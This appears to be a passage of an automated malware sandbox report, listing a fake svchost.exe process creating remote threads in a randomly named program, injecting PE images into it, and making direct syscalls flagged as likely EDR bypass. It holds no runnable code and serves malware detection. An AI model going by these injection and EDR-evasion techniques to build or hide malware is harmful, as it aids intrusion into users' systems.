Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe EIP: 1411360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe EIP: 901360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe EIP: 1451360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe EIP: 2B31360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe EIP: 2921360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe EIP: 8E1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe EIP: 29F1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe EIP: 2921360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe EIP: 2411360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe EIP: 27F1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe EIP: 28C1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe EIP: 2761360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 29E1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2C91360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 3091360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2141360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2741360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2AA1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2501360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 3181360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 26C1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2651360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: B31360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: AA1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2611360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2E31360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2911360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: B21360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2C81360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2DA1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2261360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 27E1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2361360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 29C1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2BC1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 12E1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2A01360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 26C1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2F11360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 21B1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2C81360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2B41360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2AD1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 3031360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 25C1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2591360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 22C1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2E01360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 24E1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 23B1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2981360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 901360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2B61360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2251360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 27A1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 24E1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2651360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2B11360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2AF1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2591360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 29A1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 7B1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2F71360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 7C1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2B31360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 12A1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 6D1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2BB1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2331360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2B81360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2891360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2931360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2DB1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 741360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 3061360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2DA1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2B61360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 3031360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 20C1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2D21360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: EA1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2C91360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 27D1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2901360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2E31360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2F51360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2BD1360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 3241360Jump to behavior
Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 3241360Jump to behavior
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtDeleteValueKey: Direct from: 0x76EF37FC
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtQueryAttributesFile: Direct from: 0x76EF2E6C
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtSetInformationFile: Direct from: 0x76EF2D0C
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtQueryVolumeInformationFile: Direct from: 0x76EF2F2C
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtQuerySystemInformation: Direct from: 0x76EF48CC
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtOpenSection: Direct from: 0x76EF2E0C
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtDeviceIoControlFile: Direct from: 0x76EF2AEC
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtAllocateVirtualMemory: Direct from: 0x76EF2BEC
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtQueryInformationToken: Direct from: 0x76EF2CAC
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtSetInformationThread: Direct from: 0x76EF2ECC
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtCreateFile: Direct from: 0x76EF2FEC
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtOpenFile: Direct from: 0x76EF2DCC
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtEnumerateValueKey: Direct from: 0x76EF2BACJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtTerminateThread: Direct from: 0x76EF2FCC
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtCreateMutant: Direct from: 0x2D168B8
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtAllocateVirtualMemory: Direct from: 0x76EF2B9C
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtCreateMutant: Direct from: 0x2D037CB
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtSetInformationProcess: Direct from: 0x76EF2C5C
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtProtectVirtualMemory: Direct from: 0x76EF2F9C
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtCreateMutant: Direct from: 0x28C14F7
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtUnmapViewOfSection: Direct from: 0x76EF2D3C
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtNotifyChangeKey: Direct from: 0x76EF3C2C
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtCreateMutant: Direct from: 0x76EF35CC
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtResumeThread: Direct from: 0x76EF36AC
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtMapViewOfSection: Direct from: 0x76EF2D1C
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtSetValueKey: Direct from: 0x76EF309CJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtSetTimerEx: Direct from: 0x76EE7B2E
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtAllocateVirtualMemory: Direct from: 0x76EF2BFC
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtQuerySystemInformation: Direct from: 0x76EF2DFC
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtReadFile: Direct from: 0x76EF2ADC
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtEnumerateKey: Direct from: 0x76EF2DBC
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtQuerySystemInformation: Direct from: 0x1C
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtQueryInformationProcess: Direct from: 0x76EF2C26
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtAllocateVirtualMemory: Direct from: 0x76EF3C9C
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtSetInformationThread: Direct from: 0x76EE63F9
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtSetInformationThread: Direct from: 0x76EF2B4C
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeNtAllocateVirtualMemory: Direct from: 0x76EF2C6C
Injects a PE file into a foreign processes
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 1242000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: DD2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: C52000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 1412000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 902000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 1452000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B32000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2922000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 8E2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 29F2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2922000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2412000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 27F2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 28C2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2762000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 29E2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C92000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3092000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2142000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2742000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2AA2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2502000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3182000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 26C2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2652000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: B32000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: AA2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2612000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2E32000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2912000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: B22000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C82000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2DA2000 value starts with: 4D5AJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2262000 value starts with: 4D5AJump to behavior
